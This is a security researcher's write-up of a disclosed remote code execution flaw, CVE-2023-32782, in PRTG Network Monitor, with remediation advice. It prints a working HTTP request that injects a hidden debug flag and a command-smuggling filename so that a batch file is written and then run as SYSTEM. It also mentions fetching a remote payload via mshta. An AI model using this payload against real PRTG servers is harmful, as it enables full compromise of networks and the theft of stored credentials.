'

PRTG Remote Code Execution - CVE-2023-32782

by Kevin Joensen on 02 Nov 2023 |
  • |
  • Introduction

    This post details the process of exploiting CVE-2023-32782 in PRTG to gain remote code execution. PRTG Network Monitor, developed by Paessler, enables businesses to monitor their networks. It's commonly used in corporate networks and achieving Remote Code Execution (RCE) on this system can potentially compromise the entire organization, since it holds credentials for all network components.

    Version exploited: 23.2.83.1760

    The Vulnerability

    PRTG's application has a sensor system for adding sensors to the network, a core function. This system could include a SQL Sensor to monitor the uptime or current load of your SQL Server. However, this means that PRTG contains credentials for all the systems it logs into, and all are run as SYSTEM, an ideal target for RCE.

    Most of these sensors are system binaries called upon running the sensor.

    Alt text

    During testing, we found several vulnerabilities, but CVE-2023-32782 stood out. When configuring the HL7 sensor, we discovered that we could inject a parameter that was then set as parameters to the HL7Sensor.exe binary.

    Alt text

    This prompted us to ask: What parameters does the binary accept? - Running the binary showed some standard parameters without much use.

    image

    However, reverse engineering the binary revealed the -debug flag, a hidden feature that allows us to specify a path where a debug file can be written. Further digging showed that this could be used to write into arbitrary folders.

    image

    We tested our hypothesis by injecting a -debug flag through adding the sensor.

    Alt text

    After running the sensor, we saw that the file c:\arbitrary.file was correctly created in the folder we specified:

    Alt text

    Reviewing this file's contents, we saw the following which indicates other parameters are outputted to the debug log file.

    2023-11-02 07:27:42,244 [DEBUG] - Reading HL7 file: C:\\Program Files (x86)\\PRTG Network Monitor\\custom sensors\\hl7\\ADT_A08.hl7
    2023-11-02 07:27:42,547 [DEBUG] - Sending Request
    2023-11-02 07:27:42,549 [DEBUG] - MSH|^~\\&|test1|test2|lol|test4|202311022707||ADT^A08|599102|P|2.3||| EVN|A01|20050110045502|||||
    PID|1||10006579^^^1^MRN^1||DUCK^DONALD^D||19241010|M||1|111 DUCK ST^^FOWL^CA^999990000^^M|1|8885551212|8885551212|1|2||40007716^^^AccMgr^VN^1|123121234|||||||||||NO
    NK1|1|DUCK^HUEY|SO|3583 DUCK RD^^FOWL^CA^999990000|8885552222||Y||||||||||||||
    2023-11-02 07:27:44,584 [ERROR] - Error: No connection could be made because the target machine actively refused it 127.0.0.1:104: No connection
    

    The first thing we seemingly control is the filename ADT_A08.hl7 (which also contains a path traversal which is another CVE).

    Looking further into how PRTG works, we found the following:

    EXE/Script Sensor
    ...
    The list contains all files in the corresponding \Custom Sensors\EXE subfolder
    of the PRTG program directory on the probe system. For a file to appear in this
    list, store the file ending in .bat, .cmd, .exe, .ps1, or .vbs into this subfolder.
    

    In simpler terms, if we can write a file to one of those paths and control some of the contents, we can achieve remote code execution.

    Therefore our goal is to write a file to C:\Program Files (x86)\PRTG Network Monitor\Custom Sensors\\EXE.

    Generous .bat files

    One significant challenge was that the file we write is a debug log file, which contains a lot of extraneous information. However, PRTG accepts .bat files, which are forgiving. Syntax errors are discarded, and valid bits are run.

    So if we modify our payload from the previous values to the following payload, where we set the hl7 filename as the command injection mkdir c:\rce

    POST /addsensor5.htm HTTP/1.1
    Host: 127.0.0.1
    ..SNIP
    
    ..SNIP
    ------WebKitFormBoundaryJqI3G0KKzuuwgmhf
    Content-Disposition: form-data; name="recvfac_"
    
    test4" -debug="C:\Program Files (x86)\PRTG Network Monitor\Custom Sensors\EXE\exploit.bat" -recvapp="test
    ------WebKitFormBoundaryJqI3G0KKzuuwgmhf
    Content-Disposition: form-data; name="hl7file_"
    
    ADT_& mkdir c:\\rce & A08.hl7|ADT_& mkdir c:\\rce & A08.hl7||
    

    After running the payload, we run the HL7Ssensor. What happens behind the scenes is the parameter injection is exploited and the file exploit.bat is correctly written into our target folder: C:\Program Files (x86)\PRTG Network Monitor\Custom Sensors\EXE\exploit.bat

    Alt text

    Since exploit.bat is now in the correct folder, we can go to the EXE/Script Sensor and see our payload as a valid choice in the list:

    Alt text

    The contents of exploit.bat is the following:

    2023-11-02 07:38:14,111 [DEBUG] - Reading HL7 file: C:\Program Files (x86)\PRTG Network Monitor\custom sensors\hl7\ADT_& mkdir c:\rce & A08.hl7
    2023-11-02 07:38:14,122 [ERROR] - Error: The given path's format is not supported.: The given path's format is not supported.
    System.NotSupportedException: The given path's format is not supported.
       at System.Security.Permissions.FileIOPermission.EmulateFileIOPermissionChecks(String fullPath)
    ...snip
    

    Now all we have left is creating the EXE/Script Sensor and choosing exploit.bat. When running this sensor, it correctly runs our payload mkdir c:\rce as SYSTEM

    Alt text

    Cool but where is the shell?

    While running mkdir isn't the most interesting, it serves as a proof of concept. In our real-world scenario, we ran mshta with a custom url. This fetched a python payload that could be run using PRTG's bundled python interpreter.

    Remediation

    You can resolve this by upgrading to the latest version available on Paessler PRTG's release site.